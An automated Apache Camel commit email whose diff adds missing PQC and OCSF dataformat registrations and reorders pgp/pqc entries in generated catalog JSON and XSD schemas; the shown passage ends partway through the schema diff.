This is an automated email from the ASF dual-hosted git repository.
acosentino pushed a commit to branch camel-4.18.x
in repository https://gitbox.apache.org/repos/asf/camel.git
The following commit(s) were added to refs/heads/camel-4.18.x by this push:
new 3f2a9f9e2619 CAMEL-23298: Add missing PQC and OCSF dataformats in
model and fix A..Z ordering
3f2a9f9e2619 is described below
commit 3f2a9f9e26198dad8aa311fe4008c127c2acf7ba
Author: Andrea Cosentino <[email protected]>
AuthorDate: Wed Apr 8 20:33:49 2026 +0200
CAMEL-23298: Add missing PQC and OCSF dataformats in model and fix A..Z
ordering
Backport to camel-4.18.x. Adds missing PQC (Post-Quantum Cryptography) and
OCSF (Open Cybersecurity Schema Framework) dataformat registrations to model
definitions, and fixes alphabetical ordering of pgp/pqc entries in
MarshalDefinition, UnmarshalDefinition, and DataFormatTransformerDefinition.
Closes #22496
---
.../catalog/models/dataFormatTransformer.json | 2 +-
.../apache/camel/catalog/models/dataFormats.json | 2 +-
.../apache/camel/catalog/schemas/camel-spring.xsd | 462 +++++++++++----------
.../apache/camel/catalog/schemas/camel-xml-io.xsd | 462 +++++++++++----------
...ttpUnfilteredDeserializationReproducerTest.java | 126 ++++++
...ttyUnfilteredDeserializationReproducerTest.java | 123 ++++++
.../apache/camel/model/dataformat/dataFormats.json | 2 +-
.../model/transformer/dataFormatTransformer.json | 2 +-
.../camel/builder/DataFormatBuilderFactory.java | 8 +
.../org/apache/camel/builder/DataFormatClause.java | 8 +
.../org/apache/camel/model/MarshalDefinition.java | 4 +-
.../apache/camel/model/UnmarshalDefinition.java | 4 +-
.../model/dataformat/DataFormatsDefinition.java | 2 +
.../DataFormatTransformerDefinition.java | 6 +-
.../java/org/apache/camel/xml/out/ModelWriter.java | 14 +-
.../org/apache/camel/yaml/out/ModelWriter.java | 14 +-
.../dsl/yaml/deserializers/ModelDeserializers.java | 84 ++--
.../generated/resources/schema/camelYamlDsl.json | 28 ++
18 files changed, 851 insertions(+), 502 deletions(-)
diff --git
a/catalog/camel-catalog/src/generated/resources/org/apache/camel/catalog/models/dataFormatTransformer.json
b/catalog/camel-catalog/src/generated/resources/org/apache/camel/catalog/models/dataFormatTransformer.json
index 7d8367e89550..815ec640f005 100644
---
a/catalog/camel-catalog/src/generated/resources/org/apache/camel/catalog/models/dataFormatTransformer.json
+++
b/catalog/camel-catalog/src/generated/resources/org/apache/camel/catalog/models/dataFormatTransformer.json
@@ -12,7 +12,7 @@
"output": false
},
"properties": {
- "dataFormatType": { "index": 0, "kind": "element", "displayName": "Data
Format Type", "group": "common", "required": true, "type": "object",
"javaType": "org.apache.camel.model.DataFormatDefinition", "oneOf": [ "asn1",
"avro", "barcode", "base64", "beanio", "bindy", "cbor", "crypto", "csv",
"custom", "dfdl", "fhirJson", "fhirXml", "flatpack", "fory", "grok",
"groovyXml", "gzipDeflater", "hl7", "ical", "iso8583", "jacksonXml", "jaxb",
"json", "jsonApi", "lzf", "mimeMultipart", "parque [...]
+ "dataFormatType": { "index": 0, "kind": "element", "displayName": "Data
Format Type", "group": "common", "required": true, "type": "object",
"javaType": "org.apache.camel.model.DataFormatDefinition", "oneOf": [ "asn1",
"avro", "barcode", "base64", "beanio", "bindy", "cbor", "crypto", "csv",
"custom", "dfdl", "fhirJson", "fhirXml", "flatpack", "fory", "grok",
"groovyXml", "gzipDeflater", "hl7", "ical", "iso8583", "jacksonXml", "jaxb",
"json", "jsonApi", "lzf", "mimeMultipart", "ocsf", [...]
"scheme": { "index": 1, "kind": "attribute", "displayName": "Scheme",
"group": "common", "required": false, "type": "string", "javaType":
"java.lang.String", "deprecated": false, "autowired": false, "secret": false,
"description": "Set a scheme name supported by the transformer. If you specify
'csv', the transformer will be picked up for all of 'csv' from\/to Java
transformation. Note that the scheme matching is performed only when no exactly
matched transformer exists." },
"name": { "index": 2, "kind": "attribute", "displayName": "Name", "group":
"common", "required": false, "type": "string", "javaType": "java.lang.String",
"deprecated": false, "autowired": false, "secret": false, "description": "Set
the transformer name under which the transformer gets referenced when
specifying the input\/output data type on routes. If you specify a transformer
name that matches a data type scheme like 'csv' the transformer will be picked
up for all of 'csv:' from\/t [...]
"fromType": { "index": 3, "kind": "attribute", "displayName": "From Type",
"group": "common", "required": false, "type": "string", "javaType":
"java.lang.String", "deprecated": false, "autowired": false, "secret": false,
"description": "Set the 'from' data type name. If you specify 'xml:XYZ', the
transformer will be picked up if source type is 'xml:XYZ'. If you specify just
'xml', the transformer matches with all of 'xml' source type like 'xml:ABC' or
'xml:DEF'." },
diff --git
a/catalog/camel-catalog/src/generated/resources/org/apache/camel/catalog/models/dataFormats.json
b/catalog/camel-catalog/src/generated/resources/org/apache/camel/catalog/models/dataFormats.json
index ad5bb7bbe94b..5c7539afee16 100644
---
a/catalog/camel-catalog/src/generated/resources/org/apache/camel/catalog/models/dataFormats.json
+++
b/catalog/camel-catalog/src/generated/resources/org/apache/camel/catalog/models/dataFormats.json
@@ -12,6 +12,6 @@
"output": false
},
"properties": {
- "dataFormats": { "index": 0, "kind": "element", "displayName": "Data
Formats", "group": "common", "required": true, "type": "array", "javaType":
"java.util.List<org.apache.camel.model.DataFormatDefinition>", "oneOf": [
"asn1", "avro", "barcode", "base64", "beanio", "bindy", "cbor", "crypto",
"csv", "custom", "dfdl", "fhirJson", "fhirXml", "flatpack", "fory", "grok",
"groovyXml", "gzipDeflater", "hl7", "ical", "iso8583", "jacksonXml", "jaxb",
"json", "jsonApi", "lzf", "mimeMultipart", [...]
+ "dataFormats": { "index": 0, "kind": "element", "displayName": "Data
Formats", "group": "common", "required": true, "type": "array", "javaType":
"java.util.List<org.apache.camel.model.DataFormatDefinition>", "oneOf": [
"asn1", "avro", "barcode", "base64", "beanio", "bindy", "cbor", "crypto",
"csv", "custom", "dfdl", "fhirJson", "fhirXml", "flatpack", "fory", "grok",
"groovyXml", "gzipDeflater", "hl7", "ical", "iso8583", "jacksonXml", "jaxb",
"json", "jsonApi", "lzf", "mimeMultipart", [...]
}
}
diff --git
a/catalog/camel-catalog/src/generated/resources/org/apache/camel/catalog/schemas/camel-spring.xsd
b/catalog/camel-catalog/src/generated/resources/org/apache/camel/catalog/schemas/camel-spring.xsd
index 9485e38864a7..738e500259cd 100644
---
a/catalog/camel-catalog/src/generated/resources/org/apache/camel/catalog/schemas/camel-spring.xsd
+++
b/catalog/camel-catalog/src/generated/resources/org/apache/camel/catalog/schemas/camel-spring.xsd
@@ -7630,6 +7630,8 @@ messages, or any custom logic needed before the looping
executes.
<xs:element ref="tns:mimeMultipart"/>
<xs:element ref="tns:ocsf"/>
<xs:element ref="tns:parquetAvro"/>
+ <xs:element ref="tns:pgp"/>
+ <xs:element ref="tns:pqc"/>
<xs:element ref="tns:protobuf"/>
<xs:element ref="tns:rss"/>
<xs:element ref="tns:smooks"/>
@@ -7643,8 +7645,6 @@ messages, or any custom logic needed before the looping
executes.
<xs:element ref="tns:univocityFixed"/>
<xs:element ref="tns:univocityTsv"/>
<xs:element ref="tns:xmlSecurity"/>
- <xs:element ref="tns:pgp"/>
- <xs:element ref="tns:pqc"/>
<xs:element ref="tns:yaml"/>
<xs:element ref="tns:zipDeflater"/>
<xs:element ref="tns:zipFile"/>
@@ -9946,6 +9946,230 @@ and input objects are assumed as GenericRecords for
marshalling.
<xs:documentation xml:lang="en">
<![CDATA[
Whether the unmarshalling should produce an iterator of records or read all
the records at once. Default value: false
+]]>
+ </xs:documentation>
+ </xs:annotation>
+ </xs:attribute>
+ </xs:extension>
+ </xs:complexContent>
+ </xs:complexType>
+ <xs:complexType name="pgpDataFormat">
+ <xs:complexContent>
+ <xs:extension base="tns:dataFormat">
+ <xs:sequence/>
+ <xs:attribute name="keyUserid" type="xs:string">
+ <xs:annotation>
+ <xs:documentation xml:lang="en">
+<![CDATA[
+The user ID of the key in the PGP keyring used during encryption. Can also be
only a part of a user ID. For example, if
+the user ID is Test User then you can use the part Test User or to address the
user ID.
+]]>
+ </xs:documentation>
+ </xs:annotation>
+ </xs:attribute>
+ <xs:attribute name="signatureKeyUserid" type="xs:string">
+ <xs:annotation>
+ <xs:documentation xml:lang="en">
+<![CDATA[
+User ID of the key in the PGP keyring used for signing (during encryption) or
signature verification (during
+decryption). During the signature verification process the specified User ID
restricts the public keys from the public
+keyring which can be used for the verification. If no User ID is specified for
the signature verficiation then any
+public key in the public keyring can be used for the verification. Can also be
only a part of a user ID. For example, if
+the user ID is Test User then you can use the part Test User or to address the
User ID.
+]]>
+ </xs:documentation>
+ </xs:annotation>
+ </xs:attribute>
+ <xs:attribute name="password" type="xs:string">
+ <xs:annotation>
+ <xs:documentation xml:lang="en">
+<![CDATA[
+Password used when opening the private key (not used for encryption).
+]]>
+ </xs:documentation>
+ </xs:annotation>
+ </xs:attribute>
+ <xs:attribute name="signaturePassword" type="xs:string">
+ <xs:annotation>
+ <xs:documentation xml:lang="en">
+<![CDATA[
+Password used when opening the private key used for signing (during
encryption).
+]]>
+ </xs:documentation>
+ </xs:annotation>
+ </xs:attribute>
+ <xs:attribute name="keyFileName" type="xs:string">
+ <xs:annotation>
+ <xs:documentation xml:lang="en">
+<![CDATA[
+Filename of the keyring; must be accessible as a classpath resource (but you
can specify a location in the file system
+by using the file: prefix).
+]]>
+ </xs:documentation>
+ </xs:annotation>
+ </xs:attribute>
+ <xs:attribute name="signatureKeyFileName" type="xs:string">
+ <xs:annotation>
+ <xs:documentation xml:lang="en">
+<![CDATA[
+Filename of the keyring to use for signing (during encryption) or for
signature verification (during decryption); must
+be accessible as a classpath resource (but you can specify a location in the
file system by using the file: prefix).
+]]>
+ </xs:documentation>
+ </xs:annotation>
+ </xs:attribute>
+ <xs:attribute name="signatureKeyRing" type="xs:string">
+ <xs:annotation>
+ <xs:documentation xml:lang="en">
+<![CDATA[
+Keyring used for signing/verifying as byte array. You can not set the
signatureKeyFileName and signatureKeyRing at the
+same time.
+]]>
+ </xs:documentation>
+ </xs:annotation>
+ </xs:attribute>
+ <xs:attribute name="armored" type="xs:string">
+ <xs:annotation>
+ <xs:documentation xml:lang="en">
+<![CDATA[
+This option will cause PGP to base64 encode the encrypted text, making it
available for copy/paste, etc. Default value:
+false
+]]>
+ </xs:documentation>
+ </xs:annotation>
+ </xs:attribute>
+ <xs:attribute name="integrity" type="xs:string">
+ <xs:annotation>
+ <xs:documentation xml:lang="en">
+<![CDATA[
+Adds an integrity check/sign into the encryption file. The default value is
true. Default value: true
+]]>
+ </xs:documentation>
+ </xs:annotation>
+ </xs:attribute>
+ <xs:attribute name="provider" type="xs:string">
+ <xs:annotation>
+ <xs:documentation xml:lang="en">
+<![CDATA[
+Java Cryptography Extension (JCE) provider, default is Bouncy Castle (BC).
Alternatively you can use, for example, the
+IAIK JCE provider; in this case the provider must be registered beforehand and
the Bouncy Castle provider must not be
+registered beforehand. The Sun JCE provider does not work.
+]]>
+ </xs:documentation>
+ </xs:annotation>
+ </xs:attribute>
+ <xs:attribute name="algorithm" type="xs:string">
+ <xs:annotation>
+ <xs:documentation xml:lang="en">
+<![CDATA[
+Symmetric key encryption algorithm; possible values are defined in
org.bouncycastle.bcpg.SymmetricKeyAlgorithmTags; for
+example 2 (= TRIPLE DES), 3 (= CAST5), 4 (= BLOWFISH), 6 (= DES), 7 (=
AES_128). Only relevant for encrypting.
+]]>
+ </xs:documentation>
+ </xs:annotation>
+ </xs:attribute>
+ <xs:attribute name="compressionAlgorithm" type="xs:string">
+ <xs:annotation>
+ <xs:documentation xml:lang="en">
+<![CDATA[
+Compression algorithm; possible values are defined in
org.bouncycastle.bcpg.CompressionAlgorithmTags; for example 0 (=
+UNCOMPRESSED), 1 (= ZIP), 2 (= ZLIB), 3 (= BZIP2). Only relevant for
encrypting.
+]]>
+ </xs:documentation>
+ </xs:annotation>
+ </xs:attribute>
+ <xs:attribute name="hashAlgorithm" type="xs:string">
+ <xs:annotation>
+ <xs:documentation xml:lang="en">
+<![CDATA[
+Signature hash algorithm; possible values are defined in
org.bouncycastle.bcpg.HashAlgorithmTags; for example 2 (=
+SHA1), 8 (= SHA256), 9 (= SHA384), 10 (= SHA512), 11 (=SHA224). Only relevant
for signing.
+]]>
+ </xs:documentation>
+ </xs:annotation>
+ </xs:attribute>
+ <xs:attribute name="signatureVerificationOption" type="xs:string">
+ <xs:annotation>
+ <xs:documentation xml:lang="en">
+<![CDATA[
+Controls the behavior for verifying the signature during unmarshaling. There
are 4 values possible: optional: The PGP
+message may or may not contain signatures; if it does contain signatures, then
a signature verification is executed.
+required: The PGP message must contain at least one signature; if this is not
the case an exception (PGPException) is
+thrown. A signature verification is executed. ignore: Contained signatures in
the PGP message are ignored; no signature
+verification is executed. no_signature_allowed: The PGP message must not
contain a signature; otherwise an exception
+(PGPException) is thrown.
+]]>
+ </xs:documentation>
+ </xs:annotation>
+ </xs:attribute>
+ </xs:extension>
+ </xs:complexContent>
+ </xs:complexType>
+ <xs:complexType name="pqcDataFormat">
+ <xs:complexContent>
+ <xs:extension base="tns:dataFormat">
+ <xs:sequence/>
+ <xs:attribute name="keyEncapsulationAlgorithm" type="xs:string">
+ <xs:annotation>
+ <xs:documentation xml:lang="en">
+<![CDATA[
+The Post-Quantum KEM algorithm to use for key encapsulation. Supported values:
MLKEM, BIKE, HQC, CMCE, SABER, FRODO,
+NTRU, NTRULPRime, SNTRUPrime, KYBER. Default value: MLKEM
+]]>
+ </xs:documentation>
+ </xs:annotation>
+ </xs:attribute>
+ <xs:attribute name="symmetricKeyAlgorithm" type="xs:string">
+ <xs:annotation>
+ <xs:documentation xml:lang="en">
+<![CDATA[
+The symmetric encryption algorithm to use with the shared secret. Supported
values: AES, ARIA, RC2, RC5, CAMELLIA,
+CAST5, CAST6, CHACHA7539, etc. Default value: AES
+]]>
+ </xs:documentation>
+ </xs:annotation>
+ </xs:attribute>
+ <xs:attribute name="symmetricKeyLength" type="xs:string">
+ <xs:annotation>
+ <xs:documentation xml:lang="en">
+<![CDATA[
+The length (in bits) of the symmetric key. Default value: 128
+]]>
+ </xs:documentation>
+ </xs:annotation>
+ </xs:attribute>
+ <xs:attribute name="keyPair" type="xs:string">
+ <xs:annotation>
+ <xs:documentation xml:lang="en">
+<![CDATA[
+Refers to the KeyPair to lookup from the register to use for KEM operations.
+]]>
+ </xs:documentation>
+ </xs:annotation>
+ </xs:attribute>
+ <xs:attribute name="bufferSize" type="xs:string">
+ <xs:annotation>
+ <xs:documentation xml:lang="en">
+<![CDATA[
+The size of the buffer used for streaming encryption/decryption. Default
value: 4096
+]]>
+ </xs:documentation>
+ </xs:annotation>
+ </xs:attribute>
+ <xs:attribute name="provider" type="xs:string">
+ <xs:annotation>
+ <xs:documentation xml:lang="en">
+<![CDATA[
+The JCE security provider to use.
+]]>
+ </xs:documentation>
+ </xs:annotation>
+ </xs:attribute>
+ <xs:attribute name="keyGenerator" type="xs:string">
+ <xs:annotation>
+ <xs:documentation xml:lang="en">
+<![CDATA[
+Refers to a custom KeyGenerator to lookup from the register for KEM operations.
]]>
</xs:documentation>
</xs:annotation>
@@ -10796,230 +11020,6 @@ Default value: true
<xs:documentation xml:lang="en">
<![CDATA[
Refers to a Map XML Namespaces of prefix - uri mappings.
-]]>
- </xs:documentation>
- </xs:annotation>
- </xs:attribute>
- </xs:extension>
- </xs:complexContent>
- </xs:complexType>
- <xs:complexType name="pgpDataFormat">
- <xs:complexContent>
- <xs:extension base="tns:dataFormat">
- <xs:sequence/>
- <xs:attribute name="keyUserid" type="xs:string">
- <xs:annotation>
- <xs:documentation xml:lang="en">
-<![CDATA[
-The user ID of the key in the PGP keyring used during encryption. Can also be
only a part of a user ID. For example, if
-the user ID is Test User then you can use the part Test User or to address the
user ID.
-]]>
- </xs:documentation>
- </xs:annotation>
- </xs:attribute>
- <xs:attribute name="signatureKeyUserid" type="xs:string">
- <xs:annotation>
- <xs:documentation xml:lang="en">
-<![CDATA[
-User ID of the key in the PGP keyring used for signing (during encryption) or
signature verification (during
-decryption). During the signature verification process the specified User ID
restricts the public keys from the public
-keyring which can be used for the verification. If no User ID is specified for
the signature verficiation then any
-public key in the public keyring can be used for the verification. Can also be
only a part of a user ID. For example, if
-the user ID is Test User then you can use the part Test User or to address the
User ID.
-]]>
- </xs:documentation>
- </xs:annotation>
- </xs:attribute>
- <xs:attribute name="password" type="xs:string">
- <xs:annotation>
- <xs:documentation xml:lang="en">
-<![CDATA[
-Password used when opening the private key (not used for encryption).
-]]>
- </xs:documentation>
- </xs:annotation>
- </xs:attribute>
- <xs:attribute name="signaturePassword" type="xs:string">
- <xs:annotation>
- <xs:documentation xml:lang="en">
-<![CDATA[
-Password used when opening the private key used for signing (during
encryption).
-]]>
- </xs:documentation>
- </xs:annotation>
- </xs:attribute>
- <xs:attribute name="keyFileName" type="xs:string">
- <xs:annotation>
- <xs:documentation xml:lang="en">
-<![CDATA[
-Filename of the keyring; must be accessible as a classpath resource (but you
can specify a location in the file system
-by using the file: prefix).
-]]>
- </xs:documentation>
- </xs:annotation>
- </xs:attribute>
- <xs:attribute name="signatureKeyFileName" type="xs:string">
- <xs:annotation>
- <xs:documentation xml:lang="en">
-<![CDATA[
-Filename of the keyring to use for signing (during encryption) or for
signature verification (during decryption); must
-be accessible as a classpath resource (but you can specify a location in the
file system by using the file: prefix).
-]]>
- </xs:documentation>
- </xs:annotation>
- </xs:attribute>
- <xs:attribute name="signatureKeyRing" type="xs:string">
- <xs:annotation>
- <xs:documentation xml:lang="en">
-<![CDATA[
-Keyring used for signing/verifying as byte array. You can not set the
signatureKeyFileName and signatureKeyRing at the
-same time.
-]]>
- </xs:documentation>
- </xs:annotation>
- </xs:attribute>
- <xs:attribute name="armored" type="xs:string">
- <xs:annotation>
- <xs:documentation xml:lang="en">
-<![CDATA[
-This option will cause PGP to base64 encode the encrypted text, making it
available for copy/paste, etc. Default value:
-false
-]]>
- </xs:documentation>
- </xs:annotation>
- </xs:attribute>
- <xs:attribute name="integrity" type="xs:string">
- <xs:annotation>
- <xs:documentation xml:lang="en">
-<![CDATA[
-Adds an integrity check/sign into the encryption file. The default value is
true. Default value: true
-]]>
- </xs:documentation>
- </xs:annotation>
- </xs:attribute>
- <xs:attribute name="provider" type="xs:string">
- <xs:annotation>
- <xs:documentation xml:lang="en">
-<![CDATA[
-Java Cryptography Extension (JCE) provider, default is Bouncy Castle (BC).
Alternatively you can use, for example, the
-IAIK JCE provider; in this case the provider must be registered beforehand and
the Bouncy Castle provider must not be
-registered beforehand. The Sun JCE provider does not work.
-]]>
- </xs:documentation>
- </xs:annotation>
- </xs:attribute>
- <xs:attribute name="algorithm" type="xs:string">
- <xs:annotation>
- <xs:documentation xml:lang="en">
-<![CDATA[
-Symmetric key encryption algorithm; possible values are defined in
org.bouncycastle.bcpg.SymmetricKeyAlgorithmTags; for
-example 2 (= TRIPLE DES), 3 (= CAST5), 4 (= BLOWFISH), 6 (= DES), 7 (=
AES_128). Only relevant for encrypting.
-]]>
- </xs:documentation>
- </xs:annotation>
- </xs:attribute>
- <xs:attribute name="compressionAlgorithm" type="xs:string">
- <xs:annotation>
- <xs:documentation xml:lang="en">
-<![CDATA[
-Compression algorithm; possible values are defined in
org.bouncycastle.bcpg.CompressionAlgorithmTags; for example 0 (=
-UNCOMPRESSED), 1 (= ZIP), 2 (= ZLIB), 3 (= BZIP2). Only relevant for
encrypting.
-]]>
- </xs:documentation>
- </xs:annotation>
- </xs:attribute>
- <xs:attribute name="hashAlgorithm" type="xs:string">
- <xs:annotation>
- <xs:documentation xml:lang="en">
-<![CDATA[
-Signature hash algorithm; possible values are defined in
org.bouncycastle.bcpg.HashAlgorithmTags; for example 2 (=
-SHA1), 8 (= SHA256), 9 (= SHA384), 10 (= SHA512), 11 (=SHA224). Only relevant
for signing.
-]]>
- </xs:documentation>
- </xs:annotation>
- </xs:attribute>
- <xs:attribute name="signatureVerificationOption" type="xs:string">
- <xs:annotation>
- <xs:documentation xml:lang="en">
-<![CDATA[
-Controls the behavior for verifying the signature during unmarshaling. There
are 4 values possible: optional: The PGP
-message may or may not contain signatures; if it does contain signatures, then
a signature verification is executed.
-required: The PGP message must contain at least one signature; if this is not
the case an exception (PGPException) is
-thrown. A signature verification is executed. ignore: Contained signatures in
the PGP message are ignored; no signature
-verification is executed. no_signature_allowed: The PGP message must not
contain a signature; otherwise an exception
-(PGPException) is thrown.
-]]>
- </xs:documentation>
- </xs:annotation>
- </xs:attribute>
- </xs:extension>
- </xs:complexContent>
- </xs:complexType>
- <xs:complexType name="pqcDataFormat">
- <xs:complexContent>
- <xs:extension base="tns:dataFormat">
- <xs:sequence/>
- <xs:attribute name="keyEncapsulationAlgorithm" type="xs:string">
- <xs:annotation>
- <xs:documentation xml:lang="en">
-<![CDATA[
-The Post-Quantum KEM algorithm to use for key encapsulation. Supported values:
MLKEM, BIKE, HQC, CMCE, SABER, FRODO,
-NTRU, NTRULPRime, SNTRUPrime, KYBER. Default value: MLKEM
-]]>
- </xs:documentation>
- </xs:annotation>
- </xs:attribute>
- <xs:attribute name="symmetricKeyAlgorithm" type="xs:string">
- <xs:annotation>
- <xs:documentation xml:lang="en">
-<![CDATA[
-The symmetric encryption algorithm to use with the shared secret. Supported
values: AES, ARIA, RC2, RC5, CAMELLIA,
-CAST5, CAST6, CHACHA7539, etc. Default value: AES
-]]>
- </xs:documentation>
- </xs:annotation>
- </xs:attribute>
- <xs:attribute name="symmetricKeyLength" type="xs:string">
- <xs:annotation>
- <xs:documentation xml:lang="en">
-<![CDATA[
-The length (in bits) of the symmetric key. Default value: 128
-]]>
- </xs:documentation>
- </xs:annotation>
- </xs:attribute>
- <xs:attribute name="keyPair" type="xs:string">
- <xs:annotation>
- <xs:documentation xml:lang="en">
-<![CDATA[
-Refers to the KeyPair to lookup from the register to use for KEM operations.
-]]>
- </xs:documentation>
- </xs:annotation>
- </xs:attribute>
- <xs:attribute name="bufferSize" type="xs:string">
- <xs:annotation>
- <xs:documentation xml:lang="en">
-<![CDATA[
-The size of the buffer used for streaming encryption/decryption. Default
value: 4096
-]]>
- </xs:documentation>
- </xs:annotation>
- </xs:attribute>
- <xs:attribute name="provider" type="xs:string">
- <xs:annotation>
- <xs:documentation xml:lang="en">
-<![CDATA[
-The JCE security provider to use.
-]]>
- </xs:documentation>
- </xs:annotation>
- </xs:attribute>
- <xs:attribute name="keyGenerator" type="xs:string">
- <xs:annotation>
- <xs:documentation xml:lang="en">
-<![CDATA[
-Refers to a custom KeyGenerator to lookup from the register for KEM operations.
]]>
</xs:documentation>
</xs:annotation>
@@ -15117,6 +15117,8 @@ To type used as a target data type in the
transformation.
<xs:element ref="tns:mimeMultipart"/>
<xs:element ref="tns:ocsf"/>
<xs:element ref="tns:parquetAvro"/>
+ <xs:element ref="tns:pgp"/>
+ <xs:element ref="tns:pqc"/>
<xs:element ref="tns:protobuf"/>
<xs:element ref="tns:rss"/>
<xs:element ref="tns:smooks"/>
@@ -15130,8 +15132,6 @@ To type used as a target data type in the
transformation.
<xs:element ref="tns:univocityFixed"/>
<xs:element ref="tns:univocityTsv"/>
<xs:element ref="tns:xmlSecurity"/>
- <xs:element ref="tns:pgp"/>
- <xs:element ref="tns:pqc"/>
<xs:element ref="tns:yaml"/>
<xs:element ref="tns:zipDeflater"/>
<xs:element ref="tns:zipFile"/>
@@ -17393,8 +17393,10 @@ Set a reference to a custom Expression to use.
<xs:element ref="tns:jsonApi"/>
<xs:element ref="tns:lzf"/>
<xs:element ref="tns:mimeMultipart"/>
+ <xs:element ref="tns:ocsf"/>
<xs:element ref="tns:parquetAvro"/>
<xs:element ref="tns:pgp"/>
+ <xs:element ref="tns:pqc"/>
<xs:element ref="tns:protobuf"/>
<xs:element ref="tns:rss"/>
<xs:element ref="tns:smooks"/>
@@ -18296,7 +18298,10 @@ Set the 'to' data type name. If you specify
'json:XYZ', the transformer will be
<xs:element ref="tns:jsonApi"/>
<xs:element ref="tns:lzf"/>
<xs:element ref="tns:mimeMultipart"/>
+ <xs:element ref="tns:ocsf"/>
<xs:element ref="tns:parquetAvro"/>
+ <xs:element ref="tns:pgp"/>
+ <xs:element ref="tns:pqc"/>
<xs:element ref="tns:protobuf"/>
<xs:element ref="tns:rss"/>
<xs:element ref="tns:smooks"/>
@@ -18310,7 +18315,6 @@ Set the 'to' data type name. If you specify 'json:XYZ',
the transformer will be
<xs:element ref="tns:univocityFixed"/>
<xs:element ref="tns:univocityTsv"/>
<xs:element ref="tns:xmlSecurity"/>
- <xs:element ref="tns:pgp"/>
<xs:element ref="tns:yaml"/>
<xs:element ref="tns:zipDeflater"/>
<xs:element ref="tns:zipFile"/>
diff --git
a/catalog/camel-catalog/src/generated/resources/org/apache/camel/catalog/schemas/camel-xml-io.xsd
b/catalog/camel-catalog/src/generated/resources/org/apache/camel/catalog/schemas/camel-xml-io.xsd
index ad621efaf3f3..4676541e2b31 100644
---
a/catalog/camel-catalog/src/generated/resources/org/apache/camel/catalog/schemas/camel-xml-io.xsd
+++
b/catalog/camel-catalog/src/generated/resources/org/apache/camel/catalog/schemas/camel-xml-io.xsd
@@ -6303,6 +6303,8 @@ messages, or any custom logic needed before the looping
executes.
<xs:element ref="tns:mimeMultipart"/>
<xs:element ref="tns:ocsf"/>
<xs:element ref="tns:parquetAvro"/>
+ <xs:element ref="tns:pgp"/>
+ <xs:element ref="tns:pqc"/>
<xs:element ref="tns:protobuf"/>
<xs:element ref="tns:rss"/>
<xs:element ref="tns:smooks"/>
@@ -6316,8 +6318,6 @@ messages, or any custom logic needed before the looping
executes.
<xs:element ref="tns:univocityFixed"/>
<xs:element ref="tns:univocityTsv"/>
<xs:element ref="tns:xmlSecurity"/>
- <xs:element ref="tns:pgp"/>
- <xs:element ref="tns:pqc"/>
<xs:element ref="tns:yaml"/>
<xs:element ref="tns:zipDeflater"/>
<xs:element ref="tns:zipFile"/>
@@ -8619,6 +8619,230 @@ and input objects are assumed as GenericRecords for
marshalling.
<xs:documentation xml:lang="en">
<![CDATA[
Whether the unmarshalling should produce an iterator of records or read all
the records at once. Default value: false
+]]>
+ </xs:documentation>
+ </xs:annotation>
+ </xs:attribute>
+ </xs:extension>
+ </xs:complexContent>
+ </xs:complexType>
+ <xs:complexType name="pgpDataFormat">
+ <xs:complexContent>
+ <xs:extension base="tns:dataFormat">
+ <xs:sequence/>
+ <xs:attribute name="keyUserid" type="xs:string">
+ <xs:annotation>
+ <xs:documentation xml:lang="en">
+<![CDATA[
+The user ID of the key in the PGP keyring used during encryption. Can also be
only a part of a user ID. For example, if
+the user ID is Test User then you can use the part Test User or to address the
user ID.
+]]>
+ </xs:documentation>
+ </xs:annotation>
+ </xs:attribute>
+ <xs:attribute name="signatureKeyUserid" type="xs:string">
+ <xs:annotation>
+ <xs:documentation xml:lang="en">
+<![CDATA[
+User ID of the key in the PGP keyring used for signing (during encryption) or
signature verification (during
+decryption). During the signature verification process the specified User ID
restricts the public keys from the public
+keyring which can be used for the verification. If no User ID is specified for
the signature verficiation then any
+public key in the public keyring can be used for the verification. Can also be
only a part of a user ID. For example, if
+the user ID is Test User then you can use the part Test User or to address the
User ID.
+]]>
+ </xs:documentation>
+ </xs:annotation>
+ </xs:attribute>
+ <xs:attribute name="password" type="xs:string">
+ <xs:annotation>
+ <xs:documentation xml:lang="en">
+<![CDATA[
+Password used when opening the private key (not used for encryption).
+]]>
+ </xs:documentation>
+ </xs:annotation>
+ </xs:attribute>
+ <xs:attribute name="signaturePassword" type="xs:string">
+ <xs:annotation>
+ <xs:documentation xml:lang="en">
+<![CDATA[
+Password used when opening the private key used for signing (during
encryption).
+]]>
+ </xs:documentation>
+ </xs:annotation>
+ </xs:attribute>
+ <xs:attribute name="keyFileName" type="xs:string">
+ <xs:annotation>
+ <xs:documentation xml:lang="en">
+<![CDATA[
+Filename of the keyring; must be accessible as a classpath resource (but you
can specify a location in the file system
+by using the file: prefix).
+]]>
+ </xs:documentation>
+ </xs:annotation>
+ </xs:attribute>
+ <xs:attribute name="signatureKeyFileName" type="xs:string">
+ <xs:annotation>
+ <xs:documentation xml:lang="en">
+<![CDATA[
+Filename of the keyring to use for signing (during encryption) or for
signature verification (during decryption); must
+be accessible as a classpath resource (but you can specify a location in the
file system by using the file: prefix).
+]]>
+ </xs:documentation>
+ </xs:annotation>
+ </xs:attribute>
+ <xs:attribute name="signatureKeyRing" type="xs:string">
+ <xs:annotation>
+ <xs:documentation xml:lang="en">
+<![CDATA[
+Keyring used for signing/verifying as byte array. You can not set the
signatureKeyFileName and signatureKeyRing at the
+same time.
+]]>
+ </xs:documentation>
+ </xs:annotation>
+ </xs:attribute>
+ <xs:attribute name="armored" type="xs:string">
+ <xs:annotation>
+ <xs:documentation xml:lang="en">
+<![CDATA[
+This option will cause PGP to base64 encode the encrypted text, making it
available for copy/paste, etc. Default value:
+false
+]]>
+ </xs:documentation>
+ </xs:annotation>
+ </xs:attribute>
+ <xs:attribute name="integrity" type="xs:string">
+ <xs:annotation>
+ <xs:documentation xml:lang="en">
+<![CDATA[
+Adds an integrity check/sign into the encryption file. The default value is
true. Default value: true
+]]>
+ </xs:documentation>
+ </xs:annotation>
+ </xs:attribute>
+ <xs:attribute name="provider" type="xs:string">
+ <xs:annotation>
+ <xs:documentation xml:lang="en">
+<![CDATA[
+Java Cryptography Extension (JCE) provider, default is Bouncy Castle (BC).
Alternatively you can use, for example, the
+IAIK JCE provider; in this case the provider must be registered beforehand and
the Bouncy Castle provider must not be
+registered beforehand. The Sun JCE provider does not work.
+]]>
+ </xs:documentation>
+ </xs:annotation>
+ </xs:attribute>
+ <xs:attribute name="algorithm" type="xs:string">
+ <xs:annotation>
+ <xs:documentation xml:lang="en">
+<![CDATA[
+Symmetric key encryption algorithm; possible values are defined in
org.bouncycastle.bcpg.SymmetricKeyAlgorithmTags; for
